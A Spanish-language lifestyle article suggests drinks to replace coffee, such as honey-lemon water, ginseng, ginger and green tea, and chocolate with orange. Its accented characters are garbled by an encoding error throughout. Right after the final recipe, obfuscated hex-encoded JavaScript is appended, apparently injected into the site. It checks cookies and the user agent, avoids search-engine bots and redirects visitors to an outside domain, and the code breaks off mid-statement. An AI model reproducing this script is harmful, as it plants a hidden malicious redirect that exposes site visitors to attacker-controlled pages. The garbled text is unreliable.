Entretenimiento

3 Ene 2016
Entretenimiento | Por: Redacción

Si te han prohibido el cafAi??, estas bebidas te ayudarA?n a sustituirlo

Si sufrAi??s por no poder tomar cafAi??, te ayudamos con un listado de sustitutos que podAi??s tomar sin problemas.

Fuente: ehowenespanol.com

Son las 6:00 a.m. y te das cuenta que vas tarde para alistarte y dirigirte hacia tu trabajo, un baAi??o fugaz y sin tiempo para elegir otra prenda mA?s que la que estAi?? a la mano y ademA?s planchada; no hay tiempo para desayunar y la A?nica opciA?n para terminar de despertarte es un cafAi??, pero, acabas de recordar que te lo han prohibido y lo A?nico que se te ocurre es un vaso de leche, a la cual para colmo sos intolerante, por lo que haces una excepciA?n y te bebAi??s esa taza de cafAi?? a la que el doctor te ha prohibido encarecidamente.

Por lo tanto y como MEDIOLLENO se preocupa por tu bienestar, a continuaciA?n te presentamos una lista de opciones para sustituir el cafAi?? y, al mismo tiempo, algunos tips si acaso eres de esas personas que el cafAi?? es parte de tus menesteres favoritos.

Primero vamos a presentarte, porque nos importar tu salud, los tips para migrar de una de tus bebidas favoritas sin que esto sea una tortura:

  1. No intentAi??s abandonar tajantemente a tu cafAi??, esto no te funcionarA? y harA? mA?s trA?gico el proceso. En su lugar, intentA? cambiar primero a uno descafeinado. Tu cuerpo no recibirA? la descarga de la cafeAi??na, pero tu mente se estarA? estable por el sabor del cafAi??. Para muchas personas el cafAi?? matutino e incluso por la tarde, puede ser tanto psicolA?gico como fAi??sico.
  1. LimAi??tate a una sola taza de cafAi?? por dAi??a y no lo bebas a la misma hora. AsAi?? romperA?s con cualquier rutina que puedas tener cuando se trate acerca de tomar cafAi?? en general.
  2. Reemplaza tu cafAi?? matutino por otras alternativas como las bebidas de cereales, tAi?? de hierbas o tAi?? verde como las que mA?s adelante te presentamos
  1. Alimentate con un desayuno que incluya alimentos sA?lidos y una bebida. Un simple plato de cereal por ejemplo, puede hacerte sentir satisfecho como para querer una taza de cafAi??. Poco a poco el hA?bito del cafAi?? se irA? transformado en otros muy saludables.
  2. Una manzana por la maAi??ana en lugar de tomarte una taza de cafAi??. Esta puede energizarte naturalmente, es de consumo rA?pido y ligero.
  1. EscogAi?? una bebida frutal camino a tu trabajo o a donde te dirijA?s. El jugo saciarA? tu sed por la maAi??ana y contiene mA?s vitaminas y nutrientes que la aAi??orada taza de cafAi??.

Sin mA?s preA?mbulo, a continuaciA?n, te presentamos algunas alternativas, sencillas de preparar, saludables, energizantes y lo mejor de todo no menos exquisitas, entre ellas tenemos:
Bebida deAi??miel con limA?n

Esta bebida mejora tuAi??rendimiento y contribuye aAi??laAi??pAi??rdida deAi??peso, ademA?s de mejorar tu sistema inmunolA?gico. EnAi??unAi??vaso deAi??agua tibia agregA?s 1Ai??o 2Ai??rodajas deAi??limA?n yAi??una cucharadita deAi??miel, luego mezclA?s bien. SiAi??loAi??deseas, leAi??puedes aAi??adir una cucharadita deAi??canela molida tambiAi??n. SiAi??loAi??quieres, preparalo deAi??esta manera: enAi??una taza agrega laAi??canela yAi??elAi??limA?n, luego elAi??agua caliente yAi??despuAi??s laAi??miel.

TAi??Ai??deAi??ginseng

Esta bebida esAi??unAi??excelente energetizante. ElAi??tAi??Ai??deAi??ginseng teAi??darA? energAi??a yAi??tambiAi??n ayudarA? aAi??combatir laAi??depresiA?n. AdemA?s mejora laAi??memorAi??a yAi??puede tener efectos afrodisAi??acos. LoAi??podAi??s endulzar con miel, canela oAi??azA?car; elige loAi??que mA?s teAi??guste.

TAi??Ai??deAi??gengibre

ElAi??tAi??Ai??deAi??gengibre, aAi??diferencia del cafAi??, tiene unAi??efecto estimulante prolongado. ElAi??aroma deAi??gengibre esAi??capaz deAi??quitarte elAi??cansancio yAi??animarte. SeAi??les recomienda aAi??los estudiantes para poder enfocar suAi??atenciA?n enAi??los estudios yAi??alAi??mismo tiempo despejar suAi??mente. EsAi??muy sencillo preparar elAi??tAi??Ai??deAi??gengibre: sA?lo quitA? laAi??corteza deAi??unAi??pedazo deAi??raAi??z, cortalo finamente con unAi??cuchillo yAi??remoja enAi??agua hirviendo. DAi??jalo reposar unos minutos, para elAi??sabor seAi??leAi??puede aAi??adir miel con limA?n oAi??unas hojas deAi??menta.

TAi?? verde con stevia y limA?n

Si deseas una forma sencilla, pero eficaz para conseguir un poco de energAi??a constante por la maAi??ana, elige una bebida bA?sica de tAi?? verde. AgregA? un poco de stevia para endulzar y limA?n. Te sentirA?s enganchado a las propiedades calmantes y limpieza de esta bebida.

Por otro lado, estarA?s pensando en otras bebidas que no sean tAi??, y sAi??, logramos encontrar algunas que posiblemente satisfaga la exigencia de nuestros lectores.

Ai??Chocolate caliente con jugo deAi??naranja

Esta bebida teAi??alegrarA? por laAi??maAi??ana yAi??teAi??harA? sentir bien todo elAi??dAi??a. AdemA?s, elAi??chocolate con naranja ayuda aAi??normalizar elAi??balance deAi??colesterol yAi??rA?pidamente provoca una sensaciA?n deAi??saciedad. Para preparar laAi??bebida milagrosa, necesitA?s elAi??jugo deAi??media naranja yAi??unAi??poco deAi??ralladura deAi??laAi??corteza. Prepara elAi??chocolate caliente (usando chocolate enAi??polvo), yAi??agrAi??gale elAi??jugo yAi??laAi??ralladura deAi??naranja. AAi??A?dele unAi??poco deAi??miel oAi??azA?car morena, aAi??tuAi??gusto.

Cocoa latte

TambiAi??n conocido como chocolate caliente. CalentA? una taza de leche de almendras a fuego medio hasta que estAi?? caliente pero no hirviendo, luego agrega 3 cdas. de cacao en polvo oscuro. AAi??ade una pizca de canela para darle calor y un poco de stevia para endulzar. Es opcional, pero aAi??ade un poco de nata orgA?nica en la parte de arriba y dejA? que se derrita en la parte superior.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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